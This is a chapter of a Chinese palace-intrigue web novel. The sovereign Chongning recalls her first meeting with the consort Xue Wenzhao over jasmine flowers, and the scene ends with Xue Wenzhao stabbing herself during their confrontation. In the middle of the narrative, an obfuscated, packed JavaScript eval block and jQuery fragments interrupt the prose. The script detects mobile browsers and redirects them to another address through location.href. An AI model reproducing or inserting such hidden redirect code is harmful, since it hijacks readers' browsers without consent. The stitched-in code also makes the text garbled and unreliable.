半个时辰前,崇宁关上书房的门,听着外面的两个人刀尖相撞,她转身看到四平八稳坐在椅子上的薛雯昭。
在崇宁的印象里,眼前的人好像从来没有失态过,无论是当初那一纸婚约送到薛府,还是后来薛磐离京赴任,亦或者萧祺桓被贬槐州,薛雯昭没有一刻表现出对这些事情的不满或恐惧。
正如此时,崇宁的目光聚焦在薛雯昭身上的时候,薛雯昭依旧带着她和煦的微笑问候着崇宁。
“陛下今日请我来这里,不是为了让我看看外面那出戏吗?怎么把门关上了?”
崇宁轻笑一声没有应,她朝着薛雯昭的方向走近了些。
也不知道是不是刚才与陈京观说了太多过去的事情,崇宁望着薛雯昭的时候目光柔情似水,就如同萧霖刚将薛雯昭迎娶进宫的那一日,崇宁拉着薛雯昭的手说了好些话。
“昭昭,你进宫有二十六个年头了吧,你都快成个老人了。”
崇宁唤着薛雯昭的小名,而在睫毛扫下的阴影中,薛雯昭眼里的情愫一闪而过,她勾着嘴角停顿了好久,正当崇宁以为她不会回答时,薛雯昭抬起头看着崇宁,“祎姐姐倒是正当年,比起从前风采依旧。”
祎姐姐,崇宁刚抬起来的步子悬在半空,距离她第一次听到这个称呼,好像已过去三十年了。
那次的春日游园会薛雯昭本不应该出现,只凭薛磐的官位她还不能被划进名单,可那年先帝得了第十九子,正巧还是他最喜欢的嫔妃所出,他一高兴让内司局将所有京官的家眷都请了来。
崇宁估摸着也是那次,萧霖一眼看中了在角落默默无言的薛雯昭。
那时候的薛家小女不过十二三,她瘦瘦小小的影子被挤到了人群最外面,人群中心坐着的是那时的太子,一个刚好到了娶妻年纪的佳婿。
那日到场的适龄女子基本上都被家里安排了任务,她们要努力挤到太子身边,最好能弄出些动静让太子记住她。
这倒也是人之常情,毕竟一条龙只有在潜邸的时候最容易靠近,若是能躺上他的床榻,那将是未来几十年的荣华。可唯独薛雯昭不争不抢,她任由旁人一个又一个挡在她面前,她好似还乐得自在。
等游园会开始后,薛雯昭索性找了个离人群远远的地方,她望着眼前摩肩接踵的人群哑然失笑,身边却突然冒出声响。
“你不去凑凑热闹?若是能被他选进宫去,哪怕先从侍妾做起,等他来日登基了也能混个妃位。”
薛雯昭摇头,十几岁的少女正是如花的年纪,薛磐又只有她一个女儿,从小将她娇养着长大,薛雯昭并不觉得在宫里有什么好,她更喜欢和爹娘在一起。
“你怎么没去?”
薛雯昭没有回答身边人的问题,反而侧身发问道。站在她身边的女子哈哈大笑,薛雯昭不解,那女子就牵着她离开了正厅。
“在这说话方便,”眼前的人开口解释,“既然你也不喜欢吵,那你就在这赏赏花,捱过这两个时辰你爹就能来接你了。”
薛雯昭微微欠身朝眼前的人行礼道谢,等一抬头便开始打量周围的环境。比起前院经过装点后显得有些杂乱的风景,此地的小花园一看就是经过主人精心照料过的,淡雅又不失格局。
“只是我们突然离开,若是前头的大人找不到我们了怎么办?”
眼前的女子笑着摆手,跟着她的随从也识趣地离开了。
“我叫萧娉祎,你可以叫我祎姐姐。”
萧娉祎。薛雯昭猛地抬头,萧,这整个南魏只有他们一户人家能姓萧。
“臣女薛雯昭无意冒犯殿下,还请殿下恕罪。”
“我本来就不想说,我就知道我说出来你们都会是这副样子。”
萧娉祎的神色印在薛雯昭眼睛里,她犹豫了一下挺起身,试探着叫了一声“祎姐姐”。
萧娉祎那惊喜的神色薛雯昭这辈子只见过一次,她好像突然被人看见了,不是以南魏公主的身份,而只是以萧娉祎的名字被人认识。
“你喜欢什么花?”
萧娉祎雀跃地拉着薛雯昭逛着她的花园,这是她第一次带着萧霖以外的人来到这里。这地方在崇明殿的最东头,是整个皇宫最僻静的地方,当然也是因为最偏远。
萧娉祎自从十六岁离开亲养署,她就被先帝安排到了这个地方,后来她听人说她母亲从前就是这花园里的花匠,先帝还是皇子时最喜欢来这里,后来他成了皇帝,就再也没来过了。
萧娉祎也不知道为何先帝会将游园会安排在这里,她讨厌外面的人,她更讨厌外面的人糟践她视若珍宝的草木。
可她愿意把这些送给薛雯昭,因为她叫自己祎姐姐。
“茉莉,”薛雯昭看到了墙角那一小丛茉莉花,她用手指着,“就是那个。”
萧娉祎拉着薛雯昭的手走到茉莉花旁,萧娉祎的生母也喜欢茉莉,所以萧娉祎无论什么时候都会留一个角落种上母亲喜欢的花,可她不喜欢。
“茉莉啊,是挺香的,”萧娉祎的语气有一丝遗憾,“可惜其貌不扬,死了还要被人泡茶。”
闻言,薛雯昭转头看崇宁,崇宁一动不动盯着眼前的花,片刻后她摘了一朵别在薛雯昭的头上。
“但是你喜欢就好,等着花期过了我让人摘了送到你府上去。”
薛雯昭却摇头,“谢谢殿下的好意,可我不能要。”
“因为是我送的,所以不能要吗?”
崇宁的话里薛雯昭听到了一丝自嘲,薛雯昭应了一句“不是的”,崇宁扭过头静静听她说话。
“您方才说它其貌不扬,我倒也认可,可它香气扑鼻已属不易,若再如杜鹃一般绚烂,怕会被更多人折了去。至于您说的它死了还要被泡水喝,只要我不想,它们就不用。它们绽放过一次了,最后死在自己脚下或许更安逸。”
薛雯昭用手摸了摸耳后的小花,又弯腰摘了一朵给萧娉祎带上。
“反正它总有一死,此时能为我们芳香片刻也是好的。”
萧娉祎的动作滞住了,薛雯昭小小的手替她把散在耳后的头发理好,她闻到了薛雯昭身上的茉莉花香,又或是她身上的,可那已经不重要了。
那日薛雯昭和萧娉祎一直在后院玩到游园会散场,薛磐的声音从前厅传来,薛雯昭忙朝外跑去,她走的时候笑着说“祎姐姐再见”,萧娉祎挥了挥手目送她离开。
直到萧霖与薛雯昭大婚前,她们再也没见过。
后来崇宁每每想起当初答应薛磐时自己是那般果断,或许就是因为那朵茉莉花,那句“祎姐姐”。
不过也是因为薛雯昭的突然出现,崇宁的计划里有了一个叫薛磐的人,她望着薛磐将女儿举过头顶,让她趴在自己的背上,他们谈笑风生,崇宁心里有关夺位的计划拼上了最后一块拼图。
父女俩都是不可多得的良才,崇宁要让他们一个活在前朝替自己说话,一个活在后宫陪自己说话。
只可惜薛雯昭的性子并不像茉莉一样柔和,她倒更像是她口中的杜鹃,她的冷漠逼走了薛磐,她入宫后也再没去过威岚坊。
“这些年在宫里,你怎么都没想着来找我?我的花园还是那样,我种了许多茉莉。”
崇宁回过神,薛雯昭低头看到的的确是杯中绽放的茉莉花,她用手指拨弄着,然后将微微湿润的手指在空中甩了甩。
“你瞧,它像不像是被溺死在了水中?”
薛雯昭又一次避开了崇宁的问题,崇宁沿着她的目光望去,那白玉瓷杯里躺着茉莉花随着水波荡漾,就如同最初那般鲜活。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383945|146751||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“明明它看起来还和在枝头上的时候一样明媚,可你一眼就能看出来它是死的。”
崇宁觉得薛雯昭说的是她自己,也是她。
“陛下事多繁忙,我怎敢轻易叨扰?不过多年承蒙陛下照拂,才让我与我的孩子活到了现在,臣妾谢过了。”
薛雯昭起身行礼,她半蹲着刚好比崇宁矮一头,崇宁望见她头顶那一根根银丝,看见她头上只带了一根简单的木簪。
“薛雯昭,”崇宁喊着薛雯昭的名字,“你我都身不由己,都是死后还要被人泡水喝的,你真的不懂我吗?”
薛雯昭没有回答,崇宁轻笑一声作罢,她微微抬起薛雯昭的手臂,她感觉两人触碰时薛雯昭下意识收回了自己的手。
“你如今就这么怕我?”
薛雯昭依旧没有回答,崇宁的目光暗淡下来了,正如日渐西斜的暮光,此时她又有心思去听门口的动静了,却发现不知何时门外没了声音。
只一门之隔的两对人像是八卦图上阴阳玄和,屋子的一边是刀光剑影,另一边是暗流涌动,而这一切突然凝滞了。
在薛雯昭将匕首刺向崇宁的时候,崇宁先一步在对面的琉璃上看到了上面反射出的薛雯昭的动作,她猛地向右侧身,薛雯昭扑空了,向前一个踉跄。
“都是四五十的人了,只凭你每日连院门都不出,能杀的了我吗?”
明明崇宁的话里满是嘲讽之意,可她略带颤抖的音调还是出卖了她,她红了眼,眼睛里多了三分失望。
“今日我若不杀你,你要如何用我去逼退城外的大军?你会怎么同桓儿讲今日的陈京观是多么无情无义?你会离间他们,就如同你当日离间我与我父亲。”
薛雯昭的手因为愤怒而微微颤抖,可她的声音依旧不掺杂一丝情绪,崇宁笑着点头,“果然,你们果然把一切都说开了。不过这三十年你们谁都不好过,我也算是满意了。”
“可为什么呢?那日我真以为你是这阙州城不可多得的女子,你是这皇宫养不出来的花,我期待着能再一次被叫进宫,”薛雯昭顿了顿,不禁失笑,“当然,不是被圣旨指做皇妃。”
崇宁站在原地没有动,她看着刀尖悬在自己心口,薛雯昭拿着刀的手在颤抖,崇宁也在颤抖。
“因为我不相信这世道有父亲会那般爱自己的女儿,因为我父亲甚至不记得他还有我这女儿,也因为你刚好出现,将薛磐带到了我面前,这理由够充分吗?”
崇宁已经不在乎薛雯昭是怎么看自己的了,她话音刚落就听到薛雯昭喊了一句“疯子”,随即她手里的匕首骤然下落。崇宁往后退避,她伸手将屏风推倒遮挡住了薛雯昭的路线,两个人开始在屋子里周旋。
不知过了多久,这书房里只剩下隐约的喘息声,薛雯昭额角的汗水沿着她的下颌滴落,崇宁望着她狼狈的样子笑着摇头,“我说过,你从来不是我的对手。”
“是吗?”
下一秒薛雯昭的匕首出现在了她自己的胸口,那刀尖是薛磐这几十年时常打磨的,刺入人的身体如同划破一张纸,薛雯昭的手没了力气,她穿着的那件青黛色襦裙慢慢绽放出一朵比杜鹃还娇艳的红花。
崇宁依旧站在原地,但是她几乎要站不住了,她向后试探着扶住桌子,她感觉脸上有东西在爬,她感觉心里也有东西在爬。
“活人才能当棋子,你总不能真的用我给陈京观沏一壶茉莉花茶吧?”
薛雯昭气若游丝的声音后,屋外一声巨响,崇宁知道外头应该也分出胜负了。
“接下来呢?你要把我的死推给陈京观吗?我父亲不会信的,我儿子也不会,他们这辈子都会恨透你。”
“萧娉祎,”薛雯昭缓缓闭上双眼,“我们下辈子不要再见面了。”